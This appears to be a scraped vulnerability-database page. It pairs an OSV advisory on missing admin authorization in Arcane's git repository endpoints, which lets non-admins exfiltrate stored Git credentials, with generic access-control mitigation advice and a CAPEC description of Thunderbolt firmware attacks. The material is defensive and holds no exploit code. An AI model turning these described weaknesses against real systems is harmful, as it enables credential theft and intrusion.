      "url": "https://github.com/getarcaneapp/arcane"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.